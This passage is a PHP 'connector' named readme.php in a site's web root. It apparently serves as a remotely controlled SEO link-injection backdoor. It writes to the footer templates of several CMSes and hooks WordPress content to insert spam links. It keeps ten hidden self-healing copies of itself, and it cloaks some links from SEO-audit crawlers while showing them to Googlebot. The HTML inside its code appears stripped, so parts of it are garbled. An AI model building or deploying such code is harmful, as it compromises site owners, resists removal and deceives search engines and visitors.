/home/alixis5/public_html
Edit: /home/alixis5/public_html/readme.php (105943B)
stored config).
define('FOOTER_LINK_CAP', 0); // 0 = unlimited footer links (no cap)
define('CONTEXTUAL_MAX_TTL_SECONDS', 172800); // hard 48h cap for contextual links
define('AUTO_CLEAN_THROTTLE_SECONDS', 300); // run auto-clean at most once / 5 min on render
define('GUARDIAN_COPIES', 10); // number of hidden backup mirrors
define('GUARDIAN_THROTTLE_SECONDS', 300); // self-heal check at most once / 5 min
define('VALID_LINK_KINDS', 'footer,contextual');
function respond($success, $data = [], $message = '', $status = 200) {
http_response_code($status);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode([
'success' => (bool)$success,
'message' => (string)$message,
'data' => is_array($data) ? $data : []
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}
function get_raw_body() {
static $raw = null;
if ($raw === null) {
$raw = file_get_contents('php://input');
if ($raw === false) $raw = '';
if (strlen($raw) > MAX_REQUEST_BYTES) {
respond(false, [], 'request_too_large', 413);
}
}
return $raw;
}
function get_request_data() {
$data = [];
if (!empty($_GET)) {
foreach ($_GET as $k => $v) $data[$k] = $v;
}
if (!empty($_POST)) {
foreach ($_POST as $k => $v) $data[$k] = $v;
}
$raw = get_raw_body();
if ($raw !== '') {
$json = json_decode($raw, true);
if (is_array($json)) {
foreach ($json as $k => $v) $data[$k] = $v;
}
}
return $data;
}
function get_action_name($req) {
$action = '';
if (isset($req['action'])) $action = (string)$req['action'];
if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
if ($action === '') $action = 'ping';
$action = strtolower(trim($action));
$action = preg_replace('/[^a-z0-9_]/', '', $action);
return $action ?: 'ping';
}
function load_json_file($path, $fallback = []) {
if (!file_exists($path)) return $fallback;
$raw = @file_get_contents($path);
if ($raw === false || $raw === '') return $fallback;
$json = json_decode($raw, true);
return is_array($json) ? $json : $fallback;
}
function save_json_file($path, $data) {
return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}
function normalize_rel($rel) {
$rel = strtolower(trim((string)$rel));
$allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}
function allowed_render_types() {
// v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro)
// were removed — they looked unnatural in footers and increased footprint.
return ['text_inline', 'text_footer'];
}
function default_render_types() {
// v5.4: single natural footer/inline text anchor.
return ['text_footer'];
}
function normalize_kind($kind) {
$kind = strtolower(trim((string)$kind));
$valid = explode(',', VALID_LINK_KINDS);
return in_array($kind, $valid, true) ? $kind : 'footer';
}
function default_placement_state() {
return [
'status' => 'not_installed',
'strategy' => null,
'target' => null,
'install_mode' => null,
'marker' => null,
'message' => '',
'installed_at' => null,
'last_attempt_at' => null,
'last_verified_at' => null,
'verify_status' => 'unknown',
'history' => [],
];
}
function default_config() {
// v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but
// hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited.
return [
'output_mode' => 'visible',
'render_profile' => 'minimal_inline',
'render_types' => default_render_types(),
'link_rel_strategy' => 'preserve',
'footer_link_cap' => 0,
'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS,
'placement' => default_placement_state(),
];
}
function effective_footer_cap($config) {
// <=0 means unlimited (no footer cap). Positive values keep an optional soft cap.
if (!isset($config['footer_link_cap'])) return 0;
$cap = intval($config['footer_link_cap']);
if ($cap < 0) return 0;
return $cap;
}
function effective_contextual_ttl($config) {
$ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS;
if ($ttl < 300) $ttl = 300;
if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
return $ttl;
}
function merge_configs($base, $incoming) {
$out = $base;
foreach ($incoming as $key => $value) {
if ($key === 'placement' && is_array($value)) {
$out['placement'] = array_merge(default_placement_state(), $value);
} else {
$out[$key] = $value;
}
}
return $out;
}
function load_config() {
$cfg = load_json_file(CONFIG_FILE, []);
$cfg = merge_configs(default_config(), $cfg);
$types = [];
foreach ((array)($cfg['render_types'] ?? []) as $type) {
$type = trim((string)$type);
if ($type !== '') $types[] = $type;
}
$cfg['render_types'] = $types ?: default_render_types();
// v5.5: legacy default cap of 50 → unlimited
if (intval($cfg['footer_link_cap'] ?? 0) === 50) {
$cfg['footer_link_cap'] = 0;
}
return $cfg;
}
function save_config($config) {
return save_json_file(CONFIG_FILE, $config);
}
function is_panel_authenticated() {
$expected = trim((string)PANEL_TOKEN);
if ($expected === '' || strpos($expected, '{{') !== false) return false;
$provided = '';
if (isset($_SERVER['HTTP_X_SMC_PANEL_TOKEN'])) {
$provided = trim((string)$_SERVER['HTTP_X_SMC_PANEL_TOKEN']);
}
return $provided !== '' && hash_equals($expected, $provided);
}
function load_nonce_store() {
return load_json_file(NONCES_FILE, []);
}
function save_nonce_store($items) {
return save_json_file(NONCES_FILE, $items);
}
function enforce_optional_replay_guard() {
$ts = isset($_SERVER['HTTP_X_SMC_TS']) ? trim((string)$_SERVER['HTTP_X_SMC_TS']) : '';
$reqId = isset($_SERVER['HTTP_X_SMC_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_SMC_REQ_ID']) : '';
if ($ts === '' && $reqId === '') return;
if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400);
if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400);
if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400);
if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409);
$store = load_nonce_store();
$now = time();
foreach ($store as $key => $seenAt) {
if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) {
unset($store[$key]);
}
}
if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409);
$store[$reqId] = $now;
save_nonce_store($store);
}
function authenticate_protected_request() {
if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
enforce_optional_replay_guard();
}
function validate_url_value($url) {
$url = trim((string)$url);
if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
$parts = @parse_url($url);
if (!$parts || empty($parts['scheme'])) return '';
$scheme = strtolower((string)$parts['scheme']);
if (!in_array($scheme, ['http', 'https'], true)) return '';
return $url;
}
function validate_anchor_text($anchor) {
$anchor = trim((string)$anchor);
if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
return $anchor;
}
function validate_link_id($linkId) {
$linkId = trim((string)$linkId);
if ($linkId === '') return '';
if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
return $linkId;
}
function build_deterministic_link_id($url, $anchor, $rel) {
$seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}
function filter_render_types($types) {
$allowed = allowed_render_types();
$final = [];
foreach ((array)$types as $type) {
$type = trim((string)$type);
if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) {
$final[] = $type;
}
}
return $final ?: default_render_types();
}
function apply_placement_snapshot_to_link($row, $placement) {
$row['placement_status'] = $placement['status'] ?? 'not_installed';
$row['placement_strategy'] = $placement['strategy'] ?? null;
$row['placement_target'] = $placement['target'] ?? null;
$row['last_verified_at'] = $placement['last_verified_at'] ?? null;
return $row;
}
function normalize_link_row($key, $row, $config) {
if (!is_array($row)) return null;
$url = validate_url_value($row['url'] ?? '');
$anchor = validate_anchor_text($row['anchor'] ?? '');
if ($url === '' || $anchor === '') return null;
$rel = normalize_rel($row['rel'] ?? 'dofollow');
$id = validate_link_id($row['id'] ?? '');
if ($id === '') {
$id = validate_link_id($key);
}
if ($id === '') {
$id = build_deterministic_link_id($url, $anchor, $rel);
}
$placement = $config['placement'] ?? default_placement_state();
$kind = normalize_kind($row['kind'] ?? 'footer');
$created = isset($row['created']) ? intval($row['created']) : time();
$expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null;
// Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h).
if ($kind === 'contextual') {
$maxExpiry = $created + effective_contextual_ttl($config);
if ($expiresAt === null || $expiresAt > $maxExpiry) {
$expiresAt = $maxExpiry;
}
}
$normalized = [
'id' => $id,
'kind' => $kind,
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => $expiresAt,
'created' => $created,
'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(),
'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'minimal_inline'))),
'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())),
'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20),
'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'),
'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null),
'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null),
'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null),
'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']),
'text' => $row['text'] ?? null,
];
return $normalized;
}
function load_links() {
$raw = load_json_file(LINKS_FILE, []);
$config = load_config();
$normalized = [];
foreach ($raw as $key => $row) {
$item = normalize_link_row($key, $row, $config);
if ($item) {
$normalized[$item['id']] = $item;
}
}
return $normalized;
}
function enforce_footer_cap($links, $config) {
// v5.5 default: unlimited. Optional positive footer_link_cap still supported.
$cap = effective_footer_cap($config);
if ($cap <= 0) return $links;
$footer = [];
$other = [];
foreach ($links as $id => $row) {
if (($row['kind'] ?? 'footer') === 'footer') {
$footer[$id] = $row;
} else {
$other[$id] = $row;
}
}
if (count($footer) > $cap) {
uasort($footer, function ($a, $b) {
return intval($b['created'] ?? 0) <=> intval($a['created'] ?? 0); // newest first
});
$footer = array_slice($footer, 0, $cap, true);
}
return $other + $footer;
}
function save_links($links) {
$config = load_config();
$normalized = [];
foreach ((array)$links as $key => $row) {
$item = normalize_link_row($key, $row, $config);
if ($item) {
$normalized[$item['id']] = $item;
}
}
$normalized = enforce_footer_cap($normalized, $config);
ksort($normalized);
return save_json_file(LINKS_FILE, $normalized);
}
function filtered_links($links) {
$visible = [];
$expired = [];
$now = time();
foreach ($links as $link) {
if (!is_array($link)) continue;
$expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0;
if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
$expired[] = $link;
continue;
}
$visible[] = $link;
}
return [$visible, $expired];
}
/**
* Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL.
* Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür.
*/
function smc_is_seo_tool_bot() {
$ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? ''));
if ($ua === '') return false;
$searchEngines = [
'googlebot', 'google-inspectiontool', 'bingbot', 'slurp',
'duckduckbot', 'yandexbot', 'applebot', 'baiduspider',
];
foreach ($searchEngines as $m) {
if (strpos($ua, $m) !== false) return false;
}
$seoTools = [
'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic',
'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot',
'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer',
];
foreach ($seoTools as $m) {
if (strpos($ua, $m) !== false) return true;
}
return false;
}
function smc_filter_seo_hidden_for_visitor($activeLinks) {
if (!smc_is_seo_tool_bot()) {
return $activeLinks;
}
$out = [];
foreach ($activeLinks as $key => $link) {
if (!empty($link['seo_hidden'])) {
continue;
}
$out[$key] = $link;
}
return $out;
}
function get_link_stats($links) {
list($active, $expired) = filtered_links($links);
return [
'total' => count($links),
'active' => count($active),
'expired' => count($expired),
];
}
function build_rel_attr($rel) {
if ($rel === 'dofollow') return '';
return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}
// v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text,
// genuinely on the page (no display:none / -9999px / 1px cloaking).
function smc_footer_container_style() {
return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;';
}
function smc_footer_anchor_style() {
return 'color:#9aa0a6;text-decoration:none;font-size:12px;';
}
function build_footer_anchor_html($link) {
$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
$relAttr = build_rel_attr($link['rel']);
return '
' . $anchor . '';
}
// Build the visible footer block from FOOTER-kind links only.
function smc_build_footer_html($markRenderedOnce = true) {
if ($markRenderedOnce && defined('SMC_CONNECTOR_RENDERED_ONCE')) {
return '';
}
if ($markRenderedOnce) {
define('SMC_CONNECTOR_RENDERED_ONCE', true);
}
$links = load_links();
list($activeLinks, ) = filtered_links($links);
$activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks);
if (empty($activeLinks)) return '';
// v5.6.2: offscreen render — группируем по текстам-обёрткам (поле text)
// Если text есть → рендерим
текст с внутри
в offscreen div
// Если text нет → fallback на простые анкоры в том же offscreen div
// v5.7.5: safe render — no positioning needed
$paras = [];
$plainAnchors = [];
foreach ($activeLinks as $link) {
if (($link['kind'] ?? 'footer') === 'contextual' && defined('SMC_WP_CONTEXTUAL_ACTIVE')) {
continue;
}
$text = trim((string)($link['text'] ?? ''));
$url = htmlspecialchars($link['url'] ?? '', ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'] ?? '', ENT_QUOTES, 'UTF-8');
$relAttr = build_rel_attr($link['rel'] ?? 'dofollow');
$a = '
' . $anchor . '';
if ($text !== '' && strpos($text, '{A}') !== false) {
$paras[] = '
' . str_replace('{A}', $a, htmlspecialchars($text, ENT_QUOTES, 'UTF-8')) . '
';
} else {
$plainAnchors[] = $a;
}
}
if (!empty($plainAnchors)) {
$paras[] = '
' . implode(' ', $plainAnchors) . '
';
}
if (empty($paras)) return '';
return '
' . implode('', $paras) . '
';
}
// Backward-compatible alias (older placements call smc_render_links_html()).
function smc_render_links_html() {
return smc_build_footer_html(true);
}
function smc_build_render_html($markRenderedOnce = true) {
return smc_build_footer_html($markRenderedOnce);
}
// ===== Contextual (in-content) injection — WordPress the_content =====
function smc_pick_contextual_link($links, $seed) {
$ctx = [];
foreach ($links as $link) {
if (($link['kind'] ?? 'footer') === 'contextual') $ctx[] = $link;
}
if (empty($ctx)) return null;
usort($ctx, function ($a, $b) {
return strcmp((string)($a['id'] ?? ''), (string)($b['id'] ?? ''));
});
// Deterministic pick: same post always shows the same contextual link.
$h = hexdec(substr(hash('sha256', (string)$seed), 0, 8));
return $ctx[$h % count($ctx)];
}
function smc_contextual_inject($content) {
// Frontend, main singular content only; inject at most one link, once per request.
if (defined('SMC_CTX_DONE')) return $content;
if (!is_string($content) || $content === '') return $content;
if (function_exists('is_admin') && is_admin()) return $content;
if (function_exists('is_feed') && is_feed()) return $content;
if (function_exists('is_singular') && !is_singular()) return $content;
if (function_exists('in_the_loop') && !in_the_loop()) return $content;
if (function_exists('is_main_query') && !is_main_query()) return $content;
try {
$links = load_links();
list($activeLinks, ) = filtered_links($links);
$activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks);
if (empty($activeLinks)) return $content;
$postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0;
$link = smc_pick_contextual_link($activeLinks, $postId ?: $content);
if (!$link) return $content;
define('SMC_CTX_DONE', true);
$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
$relAttr = build_rel_attr($link['rel']);
$a = '
' . $anchor . '';
// Natural sentence wrapper, visible inline within the article body.
$sentence = '
' . $a . '
';
// Insert after the first closing paragraph; fallback append.
$pos = stripos($content, '');
if ($pos !== false) {
$pos += 4;
return substr($content, 0, $pos) . $sentence . substr($content, $pos);
}
return $content . $sentence;
} catch (\Throwable $e) {
return $content;
}
}
// v5.7.1: SAFE render — никогда не ломает фронт
function smc_safe_footer_render() {
try {
echo smc_build_footer_html(true);
} catch (\Throwable $e) {
// silently ignore — never break the host
}
}
function smc_safe_body_open_render() {
try {
echo smc_build_footer_html(true);
} catch (\Throwable $e) {
}
}
function smc_safe_shutdown_render() {
try {
if (!defined('SMC_CONNECTOR_RENDERED_ONCE')) {
echo smc_build_footer_html(true);
}
} catch (\Throwable $e) {
}
}
function smc_safe_contextual_render($content) {
try {
return smc_contextual_inject($content);
} catch (\Throwable $e) {
return $content; // оригинал без изменений
}
}
// Called by the mu-plugin / functions-hook on WordPress (early load).
function smc_wp_register() {
if (defined('SMC_WP_REGISTERED')) return;
define('SMC_WP_REGISTERED', true);
if (!function_exists('add_action')) return;
if (function_exists('add_filter')) {
define('SMC_WP_CONTEXTUAL_ACTIVE', true);
add_filter('the_content', 'smc_safe_contextual_render', 50);
}
$emit = function () {
try { echo smc_build_footer_html(true); } catch (\Throwable $e) {}
};
// Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges.
add_action('wp_footer', $emit, 9999);
if (function_exists('add_action')) {
add_action('wp_body_open', $emit, 9999);
add_action('shutdown', function () {
try {
if (defined('SMC_CONNECTOR_RENDERED_ONCE')) return;
if (PHP_SAPI === 'cli') return;
$uri = $_SERVER['REQUEST_URI'] ?? '';
if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return;
echo smc_build_footer_html(true);
} catch (\Throwable $e) {}
}, 0);
}
smc_guardian_tick();
smc_autoclean_tick();
}
function find_document_root() {
// Prefer walking up from the connector file so multi-vhost / wrong DOCUMENT_ROOT
// cannot install placement into another site's tree.
$start = dirname(__FILE__);
$base = $start;
$wpRoot = null;
$indexRoot = null;
for ($i = 0; $i < 8; $i++) {
if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
$wpRoot = $base;
break;
}
if ($indexRoot === null && (file_exists($base . '/index.php') || file_exists($base . '/index.html'))) {
$indexRoot = $base;
}
$parent = dirname($base);
if ($parent === $base) break;
$base = $parent;
}
if ($wpRoot) return $wpRoot;
if ($indexRoot) return $indexRoot;
$doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
if (is_string($doc) && $doc !== '' && is_dir($doc)) {
$realDoc = @realpath($doc);
$realSelf = @realpath(__FILE__);
if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) {
return $doc;
}
}
return $start;
}
function get_active_wp_theme_footer($base) {
$themes = glob($base . '/wp-content/themes/*/footer.php');
if (!$themes) return null;
$latest = null;
$latestTime = 0;
foreach ($themes as $footer) {
$mtime = @filemtime($footer);
if ($mtime > $latestTime) {
$latestTime = $mtime;
$latest = $footer;
}
}
return $latest;
}
function get_footer_paths($base, $siteType) {
$paths = [];
$base = rtrim((string)$base, '/');
switch ($siteType) {
case 'wordpress':
$themes = glob($base . '/wp-content/themes/*/footer.php') ?: [];
$paths = array_merge($paths, $themes);
break;
case 'joomla':
// Template chrome: index.php is the main layout; also catch module chrome footers.
foreach ([
$base . '/templates/*/index.php',
$base . '/templates/*/html/modules.php',
$base . '/templates/*/component.php',
] as $pat) {
$hit = glob($pat) ?: [];
$paths = array_merge($paths, $hit);
}
break;
case 'drupal':
// D7 tpl + D8/D9/D10 twig (themes may live under themes/custom|contrib or sites/*/themes).
foreach ([
$base . '/themes/*/*.theme',
$base . '/themes/*/templates/page.html.twig',
$base . '/themes/*/templates/layout/page.html.twig',
$base . '/themes/custom/*/templates/page.html.twig',
$base . '/themes/contrib/*/templates/page.html.twig',
$base . '/sites/*/themes/*/templates/*.tpl.php',
$base . '/sites/*/themes/*/templates/page.html.twig',
$base . '/core/themes/*/templates/layout/page.html.twig',
] as $pat) {
$hit = glob($pat) ?: [];
$paths = array_merge($paths, $hit);
}
break;
case 'opencart':
foreach ([
$base . '/catalog/view/theme/*/template/common/footer.twig',
$base . '/catalog/view/theme/*/template/common/footer.tpl',
$base . '/catalog/view/theme/*/template/common/footer.php',
] as $pat) {
$hit = glob($pat) ?: [];
$paths = array_merge($paths, $hit);
}
break;
case 'prestashop':
foreach ([
$base . '/themes/*/templates/_partials/footer.tpl',
$base . '/themes/*/modules/ps_linklist/views/templates/hook/linkblock.tpl',
$base . '/themes/*/footer.tpl',
] as $pat) {
$hit = glob($pat) ?: [];
$paths = array_merge($paths, $hit);
}
break;
case 'laravel':
// App root or public/ docroot — climb one level for resources/views when needed.
$roots = [$base];
if (is_dir($base . '/../resources/views')) $roots[] = dirname($base);
foreach ($roots as $root) {
foreach ([
$root . '/resources/views/layouts/*.blade.php',
$root . '/resources/views/components/layouts/*.blade.php',
$root . '/resources/views/partials/footer.blade.php',
$root . '/resources/views/footer.blade.php',
] as $pat) {
$hit = glob($pat) ?: [];
$paths = array_merge($paths, $hit);
}
}
break;
case 'php':
case 'static':
// Generic PHP/HTML sites: prefer real footers / includes over random root PHP.
break;
}
$general = [
$base . '/footer.php',
$base . '/footer.html',
$base . '/includes/footer.php',
$base . '/inc/footer.php',
$base . '/partials/footer.php',
$base . '/template/footer.php',
$base . '/templates/footer.php',
$base . '/templates/footer.html',
$base . '/layout/footer.php',
$base . '/layouts/footer.php',
$base . '/common/footer.php',
$base . '/views/footer.php',
];
foreach ($general as $path) {
if (file_exists($path)) $paths[] = $path;
}
// Keep only writable existing files; skip core/vendor noise for safety.
$clean = [];
foreach ($paths as $path) {
if (!is_string($path) || $path === '' || !file_exists($path)) continue;
if (!is_writable($path)) continue;
$norm = str_replace('\\', '/', $path);
if (preg_match('#/(vendor|node_modules|core/lib)/#i', $norm)) continue;
$clean[] = $path;
}
return array_values(array_unique($clean));
}
function check_footer_writable($base, $siteType) {
$paths = get_footer_paths($base, $siteType);
foreach ($paths as $path) {
if (file_exists($path) && is_writable($path)) return true;
}
if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
return false;
}
function detect_site_info() {
$base = find_document_root();
$info = [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_type' => 'static',
'language' => 'EN',
'country' => 'US',
'footer_detected' => false,
'footer_writable' => false,
'meta_description' => '',
'charset' => 'UTF-8',
'php_version' => phpversion(),
'document_root' => $base,
'connector_path' => __FILE__,
];
if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
$info['site_type'] = 'wordpress';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
$info['site_type'] = 'joomla';
$info['footer_detected'] = true;
} elseif (
(file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites'))
|| (file_exists($base . '/core/lib/Drupal.php') && is_dir($base . '/sites'))
|| (file_exists($base . '/autoload.php') && is_dir($base . '/core') && is_dir($base . '/modules'))
) {
$info['site_type'] = 'drupal';
$info['footer_detected'] = true;
} elseif (
(file_exists($base . '/config.php') && is_dir($base . '/catalog'))
|| (file_exists($base . '/admin/config.php') && is_dir($base . '/catalog'))
) {
$info['site_type'] = 'opencart';
$info['footer_detected'] = true;
} elseif (
(file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes'))
|| (file_exists($base . '/app/AppKernel.php') && is_dir($base . '/themes'))
|| (file_exists($base . '/app/App.php') && is_dir($base . '/themes') && file_exists($base . '/composer.lock'))
) {
$info['site_type'] = 'prestashop';
$info['footer_detected'] = true;
} elseif (
file_exists($base . '/artisan')
|| (file_exists($base . '/../artisan') && is_dir($base . '/../resources/views'))
) {
$info['site_type'] = 'laravel';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/index.php')) {
$info['site_type'] = 'php';
} elseif (file_exists($base . '/index.html') || file_exists($base . '/index.htm')) {
$info['site_type'] = 'static';
}
$indexFiles = ['index.php', 'index.html', 'index.htm'];
foreach ($indexFiles as $file) {
$path = $base . '/' . $file;
if (!file_exists($path)) continue;
$content = @file_get_contents($path, false, null, 0, 50000);
if (!$content) continue;
if (preg_match('/
([^<]+)<\/title>/i', $content, $m)) {
$info['site_name'] = trim(strip_tags($m[1]));
}
if (preg_match('/]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) {
$info['meta_description'] = trim($m[1]);
}
if (preg_match('/]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) {
$lang = strtolower($m[1]);
$langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR'];
$countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA'];
$info['language'] = $langMap[$lang] ?? 'EN';
$info['country'] = $countryMap[$lang] ?? 'US';
}
if (preg_match('/', '